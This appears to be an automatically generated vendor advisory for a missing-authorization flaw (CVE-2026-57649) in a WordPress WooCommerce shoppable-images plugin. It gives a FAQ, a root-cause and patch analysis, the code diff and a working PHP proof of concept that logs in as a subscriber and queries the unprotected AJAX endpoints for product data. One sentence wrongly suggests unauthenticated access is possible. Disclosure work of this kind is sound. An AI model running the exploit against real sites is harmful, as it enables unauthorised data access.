What is CVE-2026-57649?

CVE-2026-57649 is a missing authorization vulnerability in the Shoppable Images (Lookbook) for WooCommerce plugin for WordPress, affecting versions up to and including 1.3. It allows authenticated attackers with subscriber-level access to retrieve WooCommerce product data without proper capability checks.

How does the vulnerability work?

Three AJAX handlers in the plugin’s admin controller lack capability and nonce checks. An attacker can send crafted requests to admin-ajax.php to call functions like get_wc_product_by_id, get_wc_products_by_ids, or get_wc_product_by_name, which return product details such as names, prices, and descriptions.

Who is affected by this vulnerability?

Any WordPress site running the Shoppable Images (Lookbook) for WooCommerce plugin version 1.3 or earlier is affected. Sites with subscriber-level users or above are at risk, as any authenticated user can exploit the missing authorization.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin under Plugins. If the version is 1.3 or lower, the site is vulnerable. You can also verify by attempting to access the AJAX endpoints with a subscriber account using the proof of concept.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where an authenticated low-privilege attacker can access sensitive product data but cannot directly execute code or escalate privileges.

What data can an attacker access?

An attacker can retrieve WooCommerce product names, IDs, prices, descriptions, and other metadata. This information could be used for reconnaissance or social engineering but does not include customer or payment data.

How was the vulnerability fixed?

The patch in version 1.3.1 adds capability checks using current_user_can() and nonce verification using wp_verify_nonce() to all three AJAX handlers. It also updates the plugin version number and tested WooCommerce version.

How do I update to the patched version?

Update the plugin to version 1.3.1 or later from the WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.

Can I mitigate the vulnerability without updating?

As a temporary measure, you can disable the plugin until an update is applied. Alternatively, restrict access to admin-ajax.php for unauthenticated users using a web application firewall or custom .htaccess rules, but updating is the recommended solution.

What does the proof of concept demonstrate?

The proof of concept shows how a subscriber-level user can log in and send AJAX requests to retrieve product data without authorization. It highlights the missing capability checks by successfully calling the vulnerable endpoints and receiving product information.

Is this vulnerability exploitable remotely?

Yes, the vulnerability is exploitable remotely via HTTP requests to the WordPress admin-ajax.php endpoint. However, the attacker must have valid credentials with at least subscriber-level access, so it is not exploitable by unauthenticated users.

What should I do if I suspect exploitation?

Check your site’s AJAX request logs for unusual patterns from subscriber accounts. Update the plugin immediately, review user roles for unauthorized access, and consider rotating any exposed product data if sensitive.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : July 5, 2026

CVE-2026-57649: Shoppable Images (Lookbook) for WooCommerce <= 1.3 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-57649

Plugin mabel-shoppable-images-lite

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.3

Patched Version 1.3.1

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57649:
This vulnerability involves a missing authorization check in the Shoppable Images (Lookbook) for WooCommerce plugin for WordPress, affecting versions up to and including 1.3. An authenticated attacker with subscriber-level access can exploit missing capability checks in three AJAX handlers to retrieve WooCommerce product data without proper authorization. The CVSS score is 4.3 (Medium).

Root Cause:
The vulnerable code resides in /code/controllers/class-admin-controller.php. Three functions lack capability checks before executing: get_wc_products_by_ids() (line 60), get_wc_product_by_id() (line 90), and get_wc_product_by_name() (line 99). Each function processes GET/POST parameters and returns product data via AJAX responses. The $this->capability property likely expects a capability like ‘manage_options’ or ‘edit_posts’, but no function-level check existed prior to the patch.

Exploitation:
An attacker with subscriber-level access can craft AJAX requests to wp-admin/admin-ajax.php with the appropriate action parameters. For example, calling ‘get_wc_product_by_id’ with a product ID will return the product name, price, and other details. Similarly, ‘get_wc_products_by_ids’ accepts an ‘ids’ array and returns multiple products, while ‘get_wc_product_by_name’ accepts a ‘q’ parameter for searching by name. The nonce and capability checks were absent, allowing unauthenticated (or low-privilege) access.

Patch Analysis:
The patch adds capability and nonce verification in all three functions. Each function now calls current_user_can($this->capability) to check the user’s role/permission and wp_verify_nonce() to validate a ‘nonce’ parameter against a fixed nonce ‘sinonce’. If either check fails, the function returns a JSON error. The plugin version is updated from 1.3 to 1.3.1.

Impact:
Successful exploitation allows an authenticated subscriber to enumerate WooCommerce product information, including product names, IDs, prices, descriptions, and potentially other sensitive metadata. This data exposure could aid in further attacks, such as targeted price manipulation or product-specific social engineering, but does not directly lead to remote code execution or privilege escalation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/mabel-shoppable-images-lite/code/controllers/class-admin-controller.php
+++ b/mabel-shoppable-images-lite/code/controllers/class-admin-controller.php
@@ -58,6 +58,10 @@

 		public function get_wc_products_by_ids() {

+            if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+                wp_send_json_error();
+            }
+
 			if( empty( $_GET['ids'] ) ) {
 				echo json_encode( [] );
 				wp_die();
@@ -87,6 +91,10 @@
 		}

 		public function get_wc_product_by_id() {
+            if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+                wp_send_json_error();
+            }
+
             if ( ! empty( $_GET['id'] ) ) {
                 echo json_encode( $this->get_wc_product( sanitize_text_field( wp_unslash( $_GET['id'] ) ) ) );
             }
@@ -96,6 +104,10 @@

 		public function get_wc_product_by_name() {

+            if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+                wp_send_json_error();
+            }
+
             $term = isset( $_GET['q'] ) ? sanitize_text_field( wp_unslash( $_GET['q'] ) ) : '';

                         if( empty( $term ) ) wp_send_json( [] );
--- a/mabel-shoppable-images-lite/mabel-shoppable-images-lite.php
+++ b/mabel-shoppable-images-lite/mabel-shoppable-images-lite.php
@@ -3,12 +3,12 @@
  * Plugin Name: Shoppable Images (Lookbook) for WooCommerce
  * Plugin URI: https://studiowombat.com/plugin/shoppable-images/?utm_source=sifree&utm_medium=plugin&utm_campaign=plugins
  * Description: Easily add 'shoppable images' (images with hotspots) to your website or store.
- * Version: 1.3
+ * Version: 1.3.1
  * Author: Studio Wombat
  * Author URI: https://studiowombat.com/?utm_source=sifree&utm_medium=plugin&utm_campaign=plugins
  * Text Domain: mabel-shoppable-images-lite
  * WC requires at least: 3.6.0
- * WC tested up to: 10.3
+ * WC tested up to: 10.9
  * License: GPLv2 or later
 */

@@ -49,7 +49,7 @@
 		plugin_dir_url( __FILE__ ),
 		plugin_basename( __FILE__ ),
 		'Shoppable Images Lite',
-		'1.3',
+		'1.3.1',
 		'mb-si-lite-settings'
 	);
 	$plugin->run();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57649 - Shoppable Images (Lookbook) for WooCommerce <= 1.3 - Missing Authorization

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to target site
$username = 'subscriber'; // Provide valid subscriber credentials
$password = 'password'; // Provide valid subscriber password

// Step 1: Login to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the missing authorization to get product by ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'get_wc_product_by_id',
    'id' => 1 // Replace with product ID to fetch
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Product data for ID 1: " . print_r(json_decode($response, true), true) . "n";

// Step 3: Exploit product search by name
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'get_wc_product_by_name',
    'q' => 'test' // Search term
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Product search results for 'test': " . print_r(json_decode($response, true), true) . "n";

Frequently Asked Questions

What is CVE-2026-57649?
Vulnerability overview
CVE-2026-57649 is a missing authorization vulnerability in the Shoppable Images (Lookbook) for WooCommerce plugin for WordPress, affecting versions up to and including 1.3. It allows authenticated attackers with subscriber-level access to retrieve WooCommerce product data without proper capability checks.
How does the vulnerability work?
Technical explanation
Three AJAX handlers in the plugin’s admin controller lack capability and nonce checks. An attacker can send crafted requests to admin-ajax.php to call functions like get_wc_product_by_id, get_wc_products_by_ids, or get_wc_product_by_name, which return product details such as names, prices, and descriptions.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Shoppable Images (Lookbook) for WooCommerce plugin version 1.3 or earlier is affected. Sites with subscriber-level users or above are at risk, as any authenticated user can exploit the missing authorization.
How can I check if my site is vulnerable?
Detection method
Check the plugin version in the WordPress admin under Plugins. If the version is 1.3 or lower, the site is vulnerable. You can also verify by attempting to access the AJAX endpoints with a subscriber account using the proof of concept.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where an authenticated low-privilege attacker can access sensitive product data but cannot directly execute code or escalate privileges.
What data can an attacker access?
Exposed information
An attacker can retrieve WooCommerce product names, IDs, prices, descriptions, and other metadata. This information could be used for reconnaissance or social engineering but does not include customer or payment data.
How was the vulnerability fixed?
Patch details
The patch in version 1.3.1 adds capability checks using current_user_can() and nonce verification using wp_verify_nonce() to all three AJAX handlers. It also updates the plugin version number and tested WooCommerce version.
How do I update to the patched version?
Update instructions
Update the plugin to version 1.3.1 or later from the WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.
Can I mitigate the vulnerability without updating?
Temporary workarounds
As a temporary measure, you can disable the plugin until an update is applied. Alternatively, restrict access to admin-ajax.php for unauthenticated users using a web application firewall or custom .htaccess rules, but updating is the recommended solution.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept shows how a subscriber-level user can log in and send AJAX requests to retrieve product data without authorization. It highlights the missing capability checks by successfully calling the vulnerable endpoints and receiving product information.
Is this vulnerability exploitable remotely?
Exploitation vector
Yes, the vulnerability is exploitable remotely via HTTP requests to the WordPress admin-ajax.php endpoint. However, the attacker must have valid credentials with at least subscriber-level access, so it is not exploitable by unauthenticated users.
What should I do if I suspect exploitation?
Incident response
Check your site’s AJAX request logs for unusual patterns from subscriber accounts. Update the plugin immediately, review user roles for unauthorized access, and consider rotating any exposed product data if sensitive.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started